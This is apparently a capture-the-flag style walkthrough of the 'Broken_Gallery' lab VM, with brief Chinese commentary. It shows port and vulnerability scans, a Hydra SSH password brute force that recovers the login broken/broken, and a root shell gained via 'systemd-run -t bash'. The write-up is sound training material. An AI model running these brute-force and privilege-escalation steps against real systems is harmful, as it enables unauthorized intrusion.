┌──(kali㉿kali)-[~] └─$ sudo nmap --min-rate 10000 -p- 192.1.1.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 04:56 EDT Nmap scan report for 192.1.1.141 Host is up (0.00047s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:3B:1C:1C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds
┌──(kali㉿kali)-[~] └─$ sudo nmap -sT -sV -O -sC -p22,80 192.1.1.141 Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 04:57 EDT Nmap scan report for 192.1.1.141 Host is up (0.00021s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 39:5e:bf:8a:49:a3:13:fa:0d:34:b8:db:26:57:79:a7 (RSA) | 256 20:d7:72:be:30:6a:27:14:e1:e6:c2:16:7a:40:c8:52 (ECDSA) |_ 256 84:a0:9a:59:61:2a:b7:1e:dd:6e:da:3b:91:f9:a0:c6 (ED25519) 80/tcp open http Apache httpd 2.4.18 |_http-title: Index of / |_http-server-header: Apache/2.4.18 (Ubuntu) | http-ls: Volume / | SIZE TIME FILENAME | 55K 2019-08-09 01:20 README.md | 1.1K 2019-08-09 01:21 gallery.html | 259K 2019-08-09 01:11 img_5terre.jpg | 114K 2019-08-09 01:11 img_forest.jpg | 663K 2019-08-09 01:11 img_lights.jpg | 8.4K 2019-08-09 01:11 img_mountains.jpg |_ MAC Address: 00:0C:29:3B:1C:1C (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.62 seconds
┌──(kali㉿kali)-[~/Downloads/Broken_Gallery] └─$ sudo nmap --script=vuln -p22,80 192.1.1.141 [sudo] password for kali: Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-26 06:37 EDT Nmap scan report for 192.1.1.141 Host is up (0.00015s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server\'s resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_http-dombased-xss: Couldn\'t find any DOM based XSS. |_http-csrf: Couldn\'t find any CSRF vulnerabilities. | http-enum: |_ /: Root directory w/ listing on 'apache/2.4.18 (ubuntu)' |_http-stored-xss: Couldn\'t find any stored XSS vulnerabilities. | http-sql-injection: | Possible sqli for queries: | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DD%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=N%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=S%3BO%3DA%27%20OR%20sqlspider | http://192.1.1.141:80/?C=D%3BO%3DA%27%20OR%20sqlspider |_ http://192.1.1.141:80/?C=M%3BO%3DA%27%20OR%20sqlspider MAC Address: 00:0C:29:3B:1C:1C (VMware)
Nmap done: 1 IP address (1 host up) scanned in 322.34 seconds
┌──(kali㉿kali)-[~] └─$ sudo nikto -h http://192.1.1.141/ [sudo] password for kali: - Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.1.1.141 + Target Hostname: 192.1.1.141 + Target Port: 80 + Start Time: 2023-06-26 06:20:01 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /: Directory indexing found. + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: OPTIONS, GET, HEAD, POST . + /./: Directory indexing found. + /./: Appending '/./' to a directory allows indexing. + //: Directory indexing found. + //: Apache on Red Hat Linux release 9 reveals the root directory listing by default if there is no index page. + /%2e/: Directory indexing found. + /%2e/: Weblogic allows source code or directory listing, upgrade to v6.0 SP1 or higher. See: http://www.securityfocus.com/bid/2513 + ///: Directory indexing found. + /?PageServices: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269 + /?wp-cs-dump: The remote server may allow directory listings through Web Publisher by forcing the server to show all files via 'open directory browsing'. Web Publisher should be disabled. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0269 + ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Directory indexing found. + ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////: Abyss 1.03 reveals directory listing when multiple /'s are requested. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1078 + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /README.md: Readme Found. + 8074 requests: 0 error(s) and 18 item(s) reported on remote host + End Time: 2023-06-26 06:20:14 (GMT-4) (13 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Allowed HTTP Methods: OPTIONS, GET, HEAD, POST。没有 PUT 方法，没办法上传文件，尝试目录爆破
这里红队笔记 UP 提了一个角度：靶机实质上是实战环境的抽象，因此不能要求其信息是条理清晰地给到你，因为实战环境是更杂乱的。这个角度的确是过去没思考到的
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/Downloads/Broken_Gallery] └─$ hydra -L user -P passwd 192.1.1.141 ssh Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-26 08:25:54 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task [DATA] attacking ssh://192.1.1.141:22/ [22][ssh] host: 192.1.1.141 login: broken password: broken 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-06-26 08:25:59
┌──(kali㉿kali)-[~/Downloads/Broken_Gallery] └─$ ssh broken@192.1.1.141 The authenticity of host '192.1.1.141 (192.1.1.141)' can\'t be established. ED25519 key fingerprint is SHA256:2rSjxvkij5hWypyT/706pdaI6YAB0AOIXa7kVnMBDZs. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.1.1.141' (ED25519) to the list of known hosts. broken@192.1.1.141\'s password: Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)
* Documentation: https://help.ubuntu.com/
762 packages can be updated. 458 updates are security updates.
Last login: Fri Aug 9 02:40:48 2019 from 10.11.1.221 broken@ubuntu:~$ ls Desktop Documents Downloads examples.desktop Music Pictures Public Templates Videos broken@ubuntu:~$ whoami broken broken@ubuntu:~$ id uid=1000(broken) gid=1000(broken) groups=1000(broken),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) broken@ubuntu:~$ uname -a Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux broken@ubuntu:~$ ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:3b:1c:1c brd ff:ff:ff:ff:ff:ff inet 192.1.1.141/24 brd 192.1.1.255 scope global dynamic ens33 valid_lft 1524sec preferred_lft 1524sec inet6 fe80::46:b9bd:c17c:f599/64 scope link valid_lft forever preferred_lft forever broken@ubuntu:~$ sudo -l Matching Defaults entries for broken on ubuntu: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User broken may run the following commands on ubuntu: (ALL) NOPASSWD: /usr/bin/timedatectl (ALL) NOPASSWD: /sbin/reboot
broken@ubuntu:/etc$ systemd-run -t bash ==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units === Authentication is required to manage system services or other units. Authenticating as: Broken,,, (broken) Password: ==== AUTHENTICATION COMPLETE === Running as unit run-u42.service. Press ^] three times within 1s to disconnect TTY. root@ubuntu:/# whoami root
